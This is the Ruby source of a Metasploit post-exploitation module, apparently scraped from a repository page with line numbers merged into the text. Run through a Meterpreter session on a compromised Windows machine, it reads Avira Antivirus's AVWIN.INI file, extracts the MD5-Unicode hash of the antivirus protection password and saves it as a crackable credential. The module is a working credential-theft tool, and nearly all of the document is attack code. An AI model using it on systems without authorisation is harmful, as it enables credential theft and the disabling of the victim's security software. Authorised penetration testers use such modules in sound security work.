Path: blob/master/modules/post/windows/gather/credentials/avira_password.rb
19852 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Windows Gather Avira Password Extraction',13'Description' => %q{14This module extracts the weakly hashed password15which is used to protect a Avira Antivirus (<= 15.0.17.273) installation.16},17'License' => MSF_LICENSE,18'Author' => [ 'Robert Kugler / robertchrk'],19'Platform' => [ 'win' ],20'SessionTypes' => [ 'meterpreter' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25},26'Compat' => {27'Meterpreter' => {28'Commands' => %w[29core_channel_eof30core_channel_open31core_channel_read32core_channel_write33stdapi_fs_stat34]35}36}37)38)39end4041def run42path = 'C:\\ProgramData\\Avira\\Antivirus\\CONFIG\\AVWIN.INI'43print_status("Checking default location (#{path}) ...")44check_programdata(path)45end4647def check_programdata(path)48client.fs.file.stat(path)49print_status("Found file at #{path}")50get_ini(path)51rescue StandardError52print_error("Error reading or processing #{path}.")53end5455def get_ini(filename)56config = client.fs.file.new(filename, 'r')57parse = Rex::Text.to_ascii(config.read)58ini = Rex::Parser::Ini.from_s(parse)5960if ini == {}61print_error('Unable to parse file')62return63end6465print_status('Processing configuration file...')66passwd = ini['COMMON']['Password']67passwd = passwd.delete '"'68create_credential({69workspace_id: myworkspace_id,70origin_type: :session,71session_id: session_db_id,72post_reference_name: refname,73private_type: :nonreplayable_hash,74jtr_format: 'Raw-MD5u', # hard coded since hash identifier wont know its unicode75private_data: passwd,76service_name: 'Avira Antivirus',77status: Metasploit::Model::Login::Status::UNTRIED78})79print_good("MD5(Unicode) hash found: #{passwd}")80print_good('Info: Password length is limited to 20 characters.')81end82end838485